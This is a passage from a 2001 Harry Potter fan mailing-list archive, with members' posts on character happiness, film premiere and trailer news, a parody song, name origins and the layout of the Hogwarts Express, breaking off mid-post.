*Hands over 2 sickles*  Percy isn't evil, nor is he just a smug Head 
Boy.  I won't be joining SCHABB any time soon, but all pro-Percy 
clubs have me forever in their ranks.

Allison




From editor at texas.net  Sat Sep 22 19:26:30 2001
From: editor at texas.net (Amanda Lewanski)
Date: Sat, 22 Sep 2001 14:26:30 -0500
Subject: Harry Potter bits of the latest Alan Rickman newsletter - 22 September 
 2001
Message-ID: <3BACE5E6.EA7E4C3D@texas.net>

No: HPFGUIDX 26490

As per the norm, I've snipped the newsletter down to the parts
containing only Harry Potter references. However, for those of you in
the UK who have plans to see or are interested in Rickman's appearance
onstage in Private Lives, email me offlist and I'll send you the whole
thing.

And yes, I have permission from the publisher to forward this stuff,
provided I keep the identifying info at the end.

--Amanda

-------- Original Message --------
Subject: Alan Rickman newsletter - 22 September 2001
Date: Sat, 22 Sep 2001 00:09:11 -0700 (PDT)

3. HARRY POTTER: PREMIERE

According to ITN (7 September, 2001), the first Harry
Potter film will premiere in London on November 4. It
sounds like it will be a gala event! Whether Alan
Rickman will be there or not remains probably depends
on the time of the premiere  Alan Rickman is due to
be on stage at 4pm in Private Lives on that day! 

Here are the details of the premiere from ITN:

The sure-fire blockbuster will have its worldwide
premiere at the Odeon in Leicester Square and will be
followed by a glamorous celebration party. 
The movie, produced by Warner Bros Pictures, is one of
the most eagerly anticipated of the year, generating
the kind of hype normally associated with Star Wars.
The film will then go on general release in the UK and
North America on November 16.
(Source: 
http://itn.co.uk/news/20010907/entertainment/07potter.shtml)
-------------------------

4. HARRY POTTER: THIRD TRAILER OUT!

Very quietly, the third Harry potter trailer has snuck
out According to FilmForce (22 September, 2001),
Channel One got the scoop  but if you want to make
sure you see the trailer, instructions are given below
in the FilmForce article:

New Potter Promo
See all new scenes from Harry Potter and the
Sorcerer's Stone.
by Brian Linder
2001-09-22
Things are heating up in the wizarding realm once
again.  Warner Bros. is set to release the third and
final trailer for Harry Potter and the Sorcerer's
Stone some time soon, and the film's release date
(November 16th) will be here before you know it.

The tidal wave of Potter hype has begun, as evidenced
by a new 30-second promo that aired on Channel One 
the educational/entertainment TV network that's beamed
to many schools around the US.

The new creature-themed TV spot has some cool new
shots, including one of Hagrid playing with Norbert,
and the troll following Hermione into the bathroom.

As the scenes play the narrator says, "Behind the
walls of Hogwarts School there are wizards, witches,
dragons, trolls, and, of course, Fluffy. On November
16th, Warner Bros. presents: Harry Potter and the
Sorcerer's Stone."

There's also a never-before-seen establishing shot of
Hogwarts in the snow, a scene where Harry magically
breaks stuff in Olivander's shop, and a cool scene of
some quidditch players zipping around on their brooms.

Here's how you can see it for yourself:  Just click
the link below and a new window with the RealVideo
broadcast of today's (Friday, Sept. 21) Channel One
show will launch.  It is then possible to fast forward
to the appropriate place in the video by clicking and
dragging the little bar that moves along as the video
plays.  Position it just before the seventh line in
the tracking bar, and you should be very close. The
Potter promo is the first commercial shown during the
broadcast.

Click here to watch the RealVideo from Channel One.

Channel One updates often so that link is subject to
change. We'll do our best to keep it current, but if
it isn't working for you just go here and poke around
'til you find the Sept. 21st broadcast.

(Source:
http://filmforce.ign.com/harrypotter/articles/306228p1.html
The link to the Channel One site to see trailer
(requires the RealPlayer plugin): 
http://www.channelone.com/video/play.html?clip=09/20010920_daily.ram&width=240&height=180)


******And in Australia, they are still only showing
the first trailer in movie theatres! Id be alarmed
except one of Australias largest movie theatre chain,
Hoyts, still lists it as commencing November 29!
-------------------------

5. HARRY POTTER: PHOTO OPPORTUNITY

*****The October issue of Vanity Fair contains several
new photographs of cast members from the first Harry
Potter film. According to BBC News (4 September,
2001),
Vanity Fair magazine's October edition, out on
Wednesday, is printing a number of images from the
movie, which is to be released in November. 
The front cover shows the star of the film, Daniel
Radcliffe, as Harry the wizard, on his broomstick. 
Other pictures by photographer Annie Leibovitz show
staff and pupils of Hogwarts, the school for wizards
which Harry attends. 
Headmaster Albus Dumbledore, played by Richard Harris,
and his deputy Minverva McGonagall (Dame Maggie Smith)
are pictured on the school's staircase. 
Another shot shows the dungeon of potions professor
Severus Snape, played by Alan Rickman.
(Source: Source:
http://news.bbc.co.uk/hi/english/entertainment/arts/newsid_1525000/1525732.stm
*****If you live in a country where you do not have
immediate access to the American issue of Vanity Fair,
you can view the images, including Alan Rickman as
Snape at The Spell Binder website (Alan Rickman is the
image on the bottom left row):
http://www.thespellbinder.com/culture/hpvf.html
---------------------------------------

=====
--------------
For all the best and latest on Alan Rickman, be sure to keep checking
back at
 http://www.cybamuse.com/movieThemes/actors/arickman/

To view archived issues, please go to:
http://www.topica.com/lists/AR_Newsletter/read

-------------------------------------
DISCLAIMER: The items mentioned in this newsletter are collected from
various sources on the web and other media. Every endeavor is made to
verify rumors, but the author of the newsletter cannot be held
responsible for rumors which turn out to be false. 

 The Alan Rickman Newsletter is in no way connected to Alan Rickman or
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From caliburncy at yahoo.com  Sat Sep 22 19:49:45 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Sat, 22 Sep 2001 19:49:45 -0000
Subject: Happiness of HP Characters
In-Reply-To: <9oildu+4dg0@eGroups.com>
Message-ID: <9oiq0p+g6tk@eGroups.com>

No: HPFGUIDX 26491

--- In HPforGrownups at y..., "Ebony" <ebonyink at h...> wrote:
> Tabouli wrote:
> 
> "As for the happiness of the characters, there's plenty of room for 
> speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  The 
> Weasley twins?"
> 
> What an interesting question.  As I began to think about it, I 
> realized that NONE of the characters are really very happy in the 
> truest sense of the word.  I can't help but think of the "shadow" 
> premise of my generations theory... they have happy moments (some 
> more than others--Fred and George might have more, Snape might have 
> less) but IMO none of the characters are truly content.

Some interesting responses from everyone one this.  I also wonder if 
it's a slightly different question: being happy vs. being content (as 
Ebony mentioned in her last sentence).

Contendedness in a way to me implies (though there are alternate 
interpretations--this is basically semantics, after all) that you have 
reached some sort of end destination in your goals.  There are lots of 
philosophers who would argue that happiness, however, is a manner of 
traveling, not a place to be reached.  And so it's possible some 
characters might be basically happy, even with mostly negative 
experiences.  Probably not the majority of them, but perhaps a few.

I am reminded of American Beauty, where even with all the trauma and 
upheaval going on in Lester's life, he is still able to honestly 
answer the question "How are you?" by saying "I'm great."

I wonder if someone like Lupin might take this view, even with all the 
hardships he suffers through.  Dumbledore might as well, but I picture 
him as more of the spiritually-centered "Do not oppose what is" kind 
of person, if that makes any sense.

-Luke




From neilward at dircon.co.uk  Sat Sep 22 20:09:43 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 22 Sep 2001 21:09:43 +0100
Subject: [HPforGrownups] Happiness of  HP Characters
References: <9oildu+4dg0@eGroups.com>
Message-ID: <002801c143a2$9a65a480$023770c2@c5s910j>

No: HPFGUIDX 26492

 Tabouli wrote:

<< "As for the happiness of the characters, there's plenty of room for
speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  The Weasley
twins?" >>

Ebony said:

<< What an interesting question.  As I began to think about it, I  realized
that NONE of the characters are really very happy in the truest sense of the
word. >>

This is very true and it's part of the huge appeal these characters have:
for all their antics in a magical alternative world, it's the darker, weaker
humanity in them that draw us in.

On the face of it, there are many stereotypes and they help to paint a
dramatic picture for younger readers.  Older readers, meanwhile are able to
take on the issues under the surface and speculate on the flaws, the
troubles, the secrets.  Some of the best fanfiction, I believe, brings these
subcutaneous elements to the surface and explores them.  I can see the canon
moving in this direction...

Unhappiness and darkness are much more weighty tools for the development of
plot and character than their opposites.  Happiness is generally defined by
comedic or light moments rather than a perception of happiness in the
characters.  All the characters seem to be dealing with demons - some small,
some large -  and, imo, it's that delicate balance between comedy and
tragedy that gives depth to characters like Fred and George, Hagrid,
Dobby... or even the Dursleys [spit!!].  They all seem, at first read, like
cartoons, but there's a whole cauldron of issues bubbling under the surface.

What fascinates me about Harry is the fact that he is rather inscrutable for
a chief protagonist.  We know a lot about him and his thoughts, but not so
much about *him* and his potential, if that makes any sense.  He learns so
much about himself from other characters that he comes across as rather
shielded, even slightly autistic, in his lack of curiosity.  This has been
discussed at length before, but this may be due in part to an emotional wall
he built to help cope with the Dursleys' domestic evil. He is gradually
coming to the surface and entering adulthood, so I think we can expect to
read a very different Harry in the next three books and, in particular, at
the very end of his story.

Snape and Dumbledore are also well-described, major players shrouded in
mystery.  I like them both, their unwritten relationship, and the fact that
Snape is so beholden to Dumbledore.  So many possibilities there.  It's no
wonder to me that Snape is such a popular character; he's an enigma who
coats all his emotions in bile.  Nastiness always gets my blood tingling.

Back to happiness, we really have to think of quite peripheral characters
before we can imagine anyone being truly h.a.p.p.y., and experience suggests
that even someone like the affable Doris Crockford will turn out to have a
tragic back story in Book 6.

Neil
_____________________
Flying Ford Anglia







From aiz24 at hotmail.com  Sat Sep 22 20:18:22 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Sat, 22 Sep 2001 20:18:22 -0000
Subject: WTC-Sorting(Hat)-scar-Krum-Dursleys-Dementors-boring posts
Message-ID: <9oirme+i4pb@eGroups.com>

No: HPFGUIDX 26493

A belated note to Rachelle:  loved your post on HP and the devastation 
of this week.   

Genevieve asked (great summaries!):

>1)      While it turns out to be a godsend, why would anyone put a 
>sword in the Sorting Hat in the first place?

I don't think it is stored there, or is even in there in a physical 
sense when Fawkes first brings the hat into the Chamber.  It appears 
by magic after Harry puts the hat on his head and asks for help.  Who 
knows what else the hat can conjure up in the right circumstances?

Peter wrote: <interesting analysis of who would have been in what 
House>

Just a L.O.O.N. comment--Arthur was in Gryffindor.  "Mum and Dad were 
in it too" --Ron, PS/SS 6.  I liked your analysis of why he would have 
been in Hufflepuff, just the same.  I would have thought the same, and 
knowing he's a Gryffindor adds a dimension to his character that we 
haven't yet seen much in his words and actions.

Betty quoted:

> 'Harry was rubbing his forehead.
> "I wish I knew what this means!" he burst out angrily.  "My scar 
keeps
> hurting--it's happened before, but never as often as this."'

and asked:

> What do you think?  Does this just mean that Voldemort has been 
feeling
> particularly hateful from time to time while Harry was at the 
Dursleys? 
> Or that his scar did occasionally hurt in Quirrell's classes, but he
> just didn't mention it?  OR something else?

I've wondered about that line a lot.  We know it hurt him at the 
beginning-of-school feast (PS/SS 7).  My distinct impression from his 
reaction there is that it is the first time in his memory that it has 
hurt him, but it could be interpreted otherwise.

Is this the only time he's referring to (up until the last couple of 
weeks before the comment Betty quotes, starting with his encounter 
with V in the forest)?  It doesn't seem likely.  I think it probably 
has hurt now and then in Quirrell's presence, and that this line is a 
clue to the astute reader (i.e. not me) that V has been close by even 
before the moment when Harry came face-to-face with him in the 
clearing.

BTW (MOVIE), I think this line may be what we're seeing when Hermione, 
Ron and Harry are walking together in trailer #2 and Harry seems to be 
scratching his head--it also looks as if he may be pressing the heel 
of his hand near his scar.

Andrea wrote re: 10.  Will Harry and Voldemort have a confrontation?:

>Yes.  There will be a very tense moment in Quality
>Quidditch Supplies as they both reach for the same
>broom polish, but the moment will be averted by Ludo
>Bagman presenting them both with complimentary jars.

Thanks, Andrea, I LMAO.

Dave wrote, and the thread got moved to OT but this part is meaty 
enough to be on-, so I'll keep it here:

>Krum: Will trasfer to Hogwarts and become Gryffindor's
>       new Quidditch captain.  (And spar with Harry for
>       the Seeker position.)

Spar with?  If Krum is Captain, won't he necessarily be Seeker too?  
So what will happen, do you think?  Harry, youngest Seeker in a 
century, will actually be a mere reserve?

BTW, Krum is 18 at the *beginning* of GoF, so I can't believe he'd 
still be in school the next year.  Unless it's one of those deals 
where a student keeps conveniently flunking a class so that he can 
still play for his high school at age 21.  <g>

Erin wrote:

>Maybe that's why Vernon and Petunia tried to stamp magic out of 
Harry, because they were also afraid of Voldemort's 
>return and they knew who he would be after.

If Vernon and Petunia really took the dangers of the magical world 
seriously, would they have agreed to take Harry in?  The way Petunia 
describes Lily's death suggests to me that she doesn't grasp the 
situation at all; she might not even grasp that Lily was murdered, 
much less murdered by an extremely powerful and dangerous man.  
Vernon, who tries his best not even to believe magic exists, is even 
less likely to see Voldemort as a real threat.

OTOH, we don't know what Dumbledore may have written to 
persuade/coerce them.  It may be that their hatred of Harry stems from 
the fact that deep down, they do know that he is intricately connected 
with a danger far worse than anything they face in the Muggle world, 
but they weren't really given a choice about whether to allow this 
possible time bomb into their home, so they live in a mixture of fury 
at and denial of the wizarding world.

Susan (maidne) wrote:

>This discussion raises a few questions in my mind.  1)  Why would the 
>dementors pay any attention to what the prisoners mutter in their 
>sleep?  2)  Are (were) the dementors aware of Harry at that point, 
>and again, why would they care what a prisoner was thinking about 
>him?  3)  If they were not specifically aware of Harry, why would 
>they take notice of the "He's at Hogwarts" line?  4)  Who would want 
>to communicate telepathically with a dementor?

The Dementors probably don't pay much attention, nor care about Harry. 
 But (in answer to #4) Fudge went to interrogate them after Sirius's 
escape, and no doubt asked them, telepathically or otherwise, if there 
was anything of note in his behavior in the previous weeks.

Cassie wrote:

>I know that I've been on the list a pretty long 
>time, and therefore whenever I see yet another "How many students are 
>there at Hogwarts?" post, I want to throw my computer through the 
>window and cut my wrists on the shards. But it is on topic, and it is 
>*my* problem that I'm not interested, not the list's. So I switch to 
>webview and keep my mouth shut so as to not ruin other people's fun.

LOL and Amen.  I'm putting my Magical Moderator hat on for a moment 
(beatup but stylish black felt, in case you were wondering) to say 
that this is a very high-volume list and there are bound to be posts 
that are fascinating to some, ho-hum to others.  That's why God gave 
us delete buttons (God=Steve Jobs).  If a thread bores you, please 
don't cut your wrists, and please don't attempt to cut the wrists the 
person who started it.  Just skip it and save your valuable time for 
rereading your favorite HP book back to front.

Amy Z
almost caught up <pant pant>

---------------------------------------------------
 All peoples are members of the same body, created
 from one essence.  If fate brings suffering to
 one member, the others cannot stay at rest.
                 -Saadi, 13th-century Persian poet
---------------------------------------------------




From meboriqua at aol.com  Sat Sep 22 20:19:46 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 22 Sep 2001 20:19:46 -0000
Subject: It's All About Harry -- Percy Fans United -- Introducing S.C.H.A.B.B.
In-Reply-To: <3BACC591.60506@swbell.net>
Message-ID: <9oirp2+ftib@eGroups.com>

No: HPFGUIDX 26494

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
 
> I nominate Ebony or Jenny to come up with a good acronym for us 
Harry fans!>

Hmmmm - I'm not very good at this.  I came up with W.A.H. - Wild About 
Harry.  I'll have to get back to you all if I come up with anything 
better.  I don't think I could come up with a good acronym for I Am In 
Love With Harry And Wish He Was A Real Person And I Was Fifteen Again.  
Then again, no one else could really join that group, could they?

Okay, I'm being a bit silly right now.

--jenny from ravenclaw *****************************************




From coriolan at worldnet.att.net  Sat Sep 22 21:27:38 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Sat, 22 Sep 2001 21:27:38 -0000
Subject: We'll Be the Champions (filk)
Message-ID: <9oivoa+e5jh@eGroups.com>

No: HPFGUIDX 26495

We'll Be the Champions (From GoF, Chapter 31)

(To the tune of We Are the Champions)

Dedicated to Amanda Lewanski

THE SCENE: The center of the maze, the third Triwizards task.  With 
every obstacle surmounted, HARRY must seemingly resign himself to a 
second-place finish as the prize lies closest to CEDRIC's grasp)

HARRY
I've dodged the Skrewt
Answered the Sphinx
I've run the good race
But I've met with a jinx

This leg mishap
Makes me too slow
So Ced will now take the cup and first place
Like he won Cho

He'll be the champion, this shows
He'll get the prize and girl at the close
He'll be the champion
Of this European
Contest of Wizards
While I'm the plebian ? of our school.

CEDRIC
I could take the cup 
In Hufflepuff's name
Deprived of rank and glory 
For centuries and more, they say,
Bereft of fame 

(to HARRY) But here's what my heart discloses
You gave me clues
You assisted me throughout the entirety of this race
So to you I must lose

You be the champion, my mate

HARRY 
We'll both prevail if it's a stalemate
I'm Alphonse, you're Gaston
The conclusion's foregone
For sole glory why aim?
We'll make this a tie game ? that's my word

BOTH (joining hands, exultantly)
We'll be the champions, my friend
We both helped one another till the end 
We've beaten Fleur and Krum
A team we have become!
This time we're both first
We two are the champions....

(They simultaneously grasp the Triwizards Cup
..)

                         ....of Hogwarts!

(....and vanish)

   - CMC

HARRY POTTER FILKS 
http://home.att.net/~coriolan/hpfilks.htm 





From klhurt at yahoo.com  Sat Sep 22 22:06:10 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 22 Sep 2001 15:06:10 -0700 (PDT)
Subject: [HPforGrownups] Re: name origins
In-Reply-To: <9odu5n+81ls@eGroups.com>
Message-ID: <20010922220610.18929.qmail@web14207.mail.yahoo.com>

No: HPFGUIDX 26496

--- cynthiaanncoe at home.com wrote:

>The flip side of this coin, however,
>are the words and names that just
>don't work for me.  One is "death
>eaters."  Ludo Bagman doesn't stir any
>images for me, either.

I don't like the term "Death Eaters" either.

Stretching my memory back some 20+ years to my Latin classes, I seem to
recall that'ludo' meant 'game' or 'contest' which, IIRC, would be very
appropriate.

'Bagman' is a slang term for the guy who picks up the money from the
bookies or the extortees and takes it to the boss.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 22 22:10:41 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 22 Sep 2001 15:10:41 -0700 (PDT)
Subject: Dedalus Diggle
In-Reply-To: <9ofnb3+ut9u@eGroups.com>
Message-ID: <20010922221041.19337.qmail@web14207.mail.yahoo.com>

No: HPFGUIDX 26497

--- Milz <absinthe at mad.scientist.com> wrote:

>Daedalus Diggle was the one setting
>off fireworks in SS/PS. 

Actually, we don't know that.  We only know that when Prof. McGonagall
heard about shooting stars in Kent, she assumed it was him.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sat Sep 22 22:14:28 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 22 Sep 2001 15:14:28 -0700 (PDT)
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <20010922221428.45893.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 26498

--- Catherine Keegan <keegan at mcn.org> wrote:

>The Knight Bus is an alternate form of
>transportation (and, it seems, where
>the students who flunk out of Hogwarts
>go for jobs...).

I don't recall reading this.  How did you come to the conclusion that
Stan Shunpike & Ernie Prang flunked out?

Kelly the Yarn Junkie



 
> Construction?  Dragonkeepers (Charlie).  Bill works as a spell
> breaker (or 
> something very similar) for Gringotts.  The goblins seem to control 
> banking.  I wonder if there's a wizard stock market?
> 
> >So what do graduates put on their resumes under education when
> >applying for jobs in the Muggle world?  It seems that this would be
> >particularly difficult for children from Muggle families.
> 
> I always wondered what Hermione's family thought about the whole 
> thing.  They're dentists and the dental profession pays well. 
> Wouldn't 
> they want her to do something similar?  She's supposed to be the
> first 
> witch in her family.  I know, don't think too hard about it or the
> story 
> line fails, but she's missing the equivalent of high school (ok, the 
> American equivalent).  What about College?  It sounds like Hogwarts
> is a 
> combination of the two but I can't help but wonder if there are
> Wizard 
> colleges.  It seems like some of the jobs would require a lot more 
> education and training.
> 
> Catherine in California
> 
> 
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> great.  We can fight it only by showing an equally strong bond of
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From klhurt at yahoo.com  Sat Sep 22 22:21:08 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 22 Sep 2001 15:21:08 -0700 (PDT)
Subject: Hagrid/Snape
In-Reply-To: <3BAC0E28.B1CF270@wicca.net>
Message-ID: <20010922222108.46575.qmail@web14204.mail.yahoo.com>

No: HPFGUIDX 26499

--- Rita Winston <catlady at wicca.net> wrote:

>IIRC, the photo of Hagrid's late
>father in GoF had the same sparkling
>beetle-black eyes as Hagrid. I don't
>think they COULD have the same father,
>as Hagrid's father died when he was
>12, circa 1941, and Snape wasn't born
>until 1957 to 1960.

But they could be cousins.  That might explain why Snape is a
pure-bloodist.

Kelly the Yarn Junkie

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From catlady at wicca.net  Sat Sep 22 22:24:22 2001
From: catlady at wicca.net (Rita Winston)
Date: Sat, 22 Sep 2001 15:24:22 -0700
Subject: Education - Animagus - Lupin - Happiness - Fan of Harry
Message-ID: <3BAD0F96.3D09D09C@wicca.net>

No: HPFGUIDX 26500

lake4fam wrote:

> I have wondered how Wizarding children learn 
> to read, to write, to do the background math
> that would be the pre-requisite for Arithmancy
> and Astronomy, and probably useful in Potions.

I believe that wizarding children go to primary school to study
non-magical subjects before they go to Hogwarts. I believe that most
wizarding children go to small all-wizarding primary schools at which
the owner, headmistress, and teachers are all witches, but parents who
can't afford the primary school fees for their little wizards and
witches either home-school or forge some paperwork to send their
children to the local Muggle government school.  On the opposite end of
the wealth scale, I believe that Draco was educated at home by multiple
tutors, specialists in the various subjects.

Rowena Grunnion-Ffitch wrote:

> Am I correct in  thinking an animagus;
> animal form is not a matter of choice
> but a involuntary reflection of their
> personality?

Yes. In one of those interviews, someone asked JKR what animal she would
want to turn into, and she said she would WANT to be an otter, but one
doesn't get to choose, and how horrible if one turned out to be a
cockroach.

Rowena Grunnion-Ffitch wrote:

> I get the impression a number of the
> ladies onlist find Professor Lupin
> decidedly attractive, (there is
> something about a man who's suffered...) 

It's his gentleness, kindness, intelligence, competence. Wow!

> do you suppose his female colleagues 
> reacted the same way? Sybill Trelawny *did*
> offer to crystal gaze for him after all..... 

Oh yes indeed, about Trelawney.  When I first read the part where she
appears at the Yule Feast and asks "Where is dear Professor Lupin?", I
was SURE that the reason she'd come to the Feast was in pursuit of him,
and when she said she had offered to crystal gaze for him and he had
positively fled, I (while recalling that his Boggart had appeared to
appear as a crystal ball), I was SURE that the reason he'd fled was
because she was so blatant in her pursuit that he noticed.  The other
females on staff are old enough to be his mother or grandmother and
perhaps all of them remember having him as a student. 

Tabouli wrote:

> As for the happiness of the characters,
> there's plenty of room for speculation
> there: is Dumbledore happy?  Is Hermione?
> Dudley?  The Weasley twins?

I am find it very difficult to find words to discuss happiness. When
speaking metaphysics, surely there must be a distinction between saying
'a happy person' and 'a cheerful person'. And the word 'contented' that
someone on this thread introduced. Dumbledore is all three: we see his
cheerfulness depicted. His contentment comes from his spiritually
advanced awareness, knowing that pain, however prolonged, is temporary,
that grief honors the person grieved for, that death is not a disaster.
His happiness is seeing that there are young people preparing to carry
on the fight against evil when he is gone. What is the word for the 
'happiness' of knowing that one has been good, has done one's best, has
done one's duty? 

Hermione is happy at a less advanced level. She has only barely begun to
experience the horror of war, so it isn't getting her down. She has
loving parents and good friends and is doing what she was made to do:
study magic. And fights for goodness when the opportunity arises.
Temporarily crying over Cedric's death or Neville's parents or Harry's
home life does not wipe out the underlying happiness.

invizible Amber wrote:

>  if I were to know Harry in real life, I'd be 
> *jealous* of him. That's right, jealous.
> Harry does well in school, is gifted when
> it comes to flying and Quidditch, has fabulous
> friends, seems to "save the day" an awful lot,
> is destined for greatness, and has more bravery 
> than one person ought to have. He's just about
> a complete opposite to me. (snip)
> I've recently thought that perhaps some people 
> sympathize with Harry over Ron because they have
> extraordinary qualities and understand the
> persecution that comes with being singled out.
> And perhaps the reason why some people
> sympathize with Ron over Harry is people they
> don't have extraordinary qualities and sympathize
> with the frustration of being ignored. (snip)
>  Hermione is my favorite character 

I'm sorry to admit that I laughed at your claim that you like characters
who don't have great talents that get them mentioned in *every* Awards
Ceremony at school, and then cite Hermione. She got 112% on her Charms
final exam in first year! She has the top grades in her year in every
subject except Divination! In real life, SHE is the one I would be
JEALOUS of.

Allison wrote:

> I know he said he didn't have any friends
> and the Dursleys are no picnic, but surely
> he *must* have been happy at some point - 
> it seems like 10 years of perpetual unhappiness
> would kill your spirit - how could he have
> become the Harry we all know and love (or at
> least I love) if he didn't have any happy
> memories at all?

I believe this is thanks to his mother, Lily, who loved him enough to
die for him, and was a powerful and skillful witch. I believe that when
she chose to spend her last energy protecting her son rather than trying
to dodge the Avada Kevadra that was coming at her, she did magic to
leave an image of herself permanently in Harry's mind. Through his
childhood, it would appear to him like an 'imaginary mother', the same
way many children have an 'imaginary friend', and this image of Lily
would hug and comfort him when the Dursleys were particularly awful and
set him an example of better behavior. And I think that the reason we
see Harry much more eager to find memories of his father than of his
mother is that he already HAS these memories of his mother. 

------------------------------------------------------------------
R ighteous
A ttractive
V ictorious
E ager
N atural
C lassy
L uxurious
A mazing
W ise
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((



From klhurt at yahoo.com  Sat Sep 22 22:27:46 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sat, 22 Sep 2001 15:27:46 -0700 (PDT)
Subject: [HPforGrownups] Re: MOVIE: What Kloves wanted to do
In-Reply-To: <f4.fa9d2af.28de3a30@aol.com>
Message-ID: <20010922222746.72732.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 26501

Luke said:

>"I still wonder, though, what the
>other thing was he took out with the
>revealing character reference.  I
>highly suspect the Mrs. (Arabella)
>Figg possibility I mentioned earlier,
>because that just seems to fit."

My first thought, also, was Mrs. Figg, but then I recalled that in
interviews, JKR said that in Book 5 we will learn more about the
ghosts:  who, what, how, & why.  Perhaps SK gave a backstory to one --
or more -- of the ghosts that didn't fit with JKR's plans?

Kelly the Yarn Junkie

=====
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From oppen at cnsinternet.com  Sat Sep 22 22:50:16 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sat, 22 Sep 2001 17:50:16 -0500
Subject: Grandma Longbottom
Message-ID: <006e01c143b8$f395aa80$cdc71bce@hppav>

No: HPFGUIDX 26502

It would be really, really funny if Harry Potter (and his friends?) got to
meet Neville Longbottom's grandmother sometime...and she wasn't at all what
they were expecting.  Going in braced for somebody who could eat Livia
(either the one from _I, Claudius,_ one of my favorite TV shows, or the one
from _The Sopranos_) for breakfast and pick her teeth with the bones, they
find this sweet little old granny-lady type who immediately pounces on them
and begins showering them with affection, and makes Molly Weasley look like
Professor Snape.

The expression of *TILT* in Harry's eyes would be worth seeing.  *heh*




From find_the.rivier at ntlworld.com  Sat Sep 22 22:54:24 2001
From: find_the.rivier at ntlworld.com (find_the.rivier at ntlworld.com)
Date: Sat, 22 Sep 2001 22:54:24 -0000
Subject: MOVIE: What Kloves wanted to do
In-Reply-To: <20010922222746.72732.qmail@web14208.mail.yahoo.com>
Message-ID: <9oj4r0+9jj9@eGroups.com>

No: HPFGUIDX 26503

Kelly Hurt wrote:

> My first thought, also, was Mrs. Figg, but then I recalled that in
> interviews, JKR said that in Book 5 we will learn more about the
> ghosts:  who, what, how, & why.  Perhaps SK gave a backstory to 
one --
> or more -- of the ghosts that didn't fit with JKR's plans?

My two knuts' worth - I wondered if the Kloves wrinkle might have 
anything to do with what Harry sees in the Mirror of Erised?  The 
first time, amongst the people Harry sees reflected, there's a 
specific mention of "a little old man who looked as though he had 
Harry's knobbly knees".  On the third night, before Dumbledore 
intervenes, Harry sees "...his mother and father smiling at him 
again, and one of his grandfathers nodding happily".  I always 
thought it was... hmm,  interesting, that emphasis on there only 
being one grandfather in the Erised family portrait.  I'm wondering 
if one of the Kloves slips might have been to try to populate the 
Mirror with more dead family members than Harry actually has at that 
time?  

Also begs the question: who's the grandfather who is still alive?  
But I have a big feeling that older nad wiser heads hereabouts have 
already debated that to death long before my arrival on the scene.  
So I'll shut up now!

Cheers - Riv (my first post here and boy, are my ears red!)






From keegan at mcn.org  Sat Sep 22 23:26:24 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Sat, 22 Sep 2001 16:26:24 -0700
Subject: [HPforGrownups] Work after Hogwarts?
In-Reply-To: <20010922221428.45893.qmail@web14204.mail.yahoo.com>
References: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <4.2.0.58.20010922162512.00a5ac40@mail.mcn.org>

No: HPFGUIDX 26504

At 03:14 PM 9/22/01 -0700, Kelly wrote:
>--- Catherine Keegan <keegan at mcn.org> wrote:
>
> >The Knight Bus is an alternate form of
> >transportation (and, it seems, where
> >the students who flunk out of Hogwarts
> >go for jobs...).
>
>I don't recall reading this.  How did you come to the conclusion that
>Stan Shunpike & Ernie Prang flunked out?

They didn't appear to be the brightest folks around.  More your less than 
Joe Average.  At least that's how it read to me.





From pengolodh_sc at yahoo.no  Sat Sep 22 23:45:44 2001
From: pengolodh_sc at yahoo.no (pengolodh_sc at yahoo.no)
Date: Sat, 22 Sep 2001 23:45:44 -0000
Subject: Trains and Hogwarts express
In-Reply-To: <9oiiok+l6se@eGroups.com>
Message-ID: <9oj7r8+ej2n@eGroups.com>

No: HPFGUIDX 26505

--- In HPforGrownups at y..., vheggie at y... wrote:
[snip]

> In older Britrail trains (and indeed - in some carriages of the new 
> ones, by the guard's van, etc), some carriages are divided up 
> into 'compartments' (like the first-class carriages in some trains, 
> or on the Eurostar).  A corridor runs down the side of a carriage, 
> from which lead the four, five, or even six sliding doors which 
> lead into smaller 'compartments' which would hold 6 - 8 people.

That is most certainly the type.  The carriages indicated by the 
books seem to be from the steam-era on British railroads, where open-
seating coaches were all but unhear of on British railways, while in 
USA open-seating coaches seem to have always been the only type.  
Most coaches seem to have had ten compartments.  That would indicate 
a train 15-18 coaches long for 1000 students (allowing for some 
overhead capacity and baggage-space).  I would presume the school 
would desire compartments of a uniform size, to facilitate 
familiarity for the students, and to facilitate manageable groups of 
people for new students, who have to get to know people.  It's easier 
to socialise with strangers when there are only six of them, than 
when there are 34.  

I also have another theory:

As i believe has been established, the carriages of the Hogwarts 
Express have a row of compartments, each seating six-eight persons, 
connected with a corridor along one side of the coach.  This is a 
typical layout for many European types of coaches up to ca. the 70s.  
My theory refers to a specific British breed of such coaches, not 
commonly seen in other countries.

In most corridor-compartment-coaches, you leave by exiting the 
compartment into the corridor, and moving towards the end of the 
coach, where there are exit-doors.  In this particular British breed, 
